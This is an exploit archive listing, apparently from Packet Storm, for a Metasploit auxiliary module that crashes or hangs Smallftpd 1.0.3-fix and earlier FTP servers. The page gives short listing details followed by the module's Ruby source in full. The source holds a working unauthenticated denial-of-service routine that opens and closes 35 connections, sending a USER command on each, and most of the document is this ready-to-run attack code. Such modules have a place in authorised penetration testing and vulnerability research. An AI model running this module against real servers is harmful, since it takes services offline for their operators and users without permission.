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Smallftpd 1.0.3 Denial Of Service

Smallftpd 1.0.3 Denial Of Service
Posted Jun 28, 2011
Authored by Myo Soe | Site metasploit.com

This Metasploit module triggers an unauthenticated denial of service condition in Smallftpd server versions 1.0.3-fix and earlier with a few dozen connection requests.

tags | exploit, denial of service
SHA-256 | 4cafbd9967c27dd7e3374f189dbe20b767a84f155ab18c6d219c6d2a95f5aba6

Smallftpd 1.0.3 Denial Of Service

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# Exploit Title: smallFTPD Connection Saturation Remote Denial of Service
# Date: June 27, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://smallftpd.sf.net
# Version: 1.0.3-fix and earlier
# Tested on: windows xp, seven, 2k3


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'smallFTPD Connection Saturation Remote Denial of Service',
'Description' => %q{
This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and earlier with a few dozens of connection requests. The vulnerability is probably conerned with smallftpd being unable to handle multiple connections regardless of its maximum connection settings. Upon successful DoS exploit, the smallftpd will crash or still seem functioning by showing its service banner. But in fact it stops denying new FTP requests, which can be verified only through a valid login.
},
'Author' => [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]
],
'DisclosureDate' => 'June 2010'))

register_options(
[
Opt::RPORT(21)
],self.class)
end

def run

print_status("Sending DOS Packets ...")

35.times do |x|
connect
sock.put("USER CRASHED\r\n")
disconnect
end

print_good("Done")

end

end


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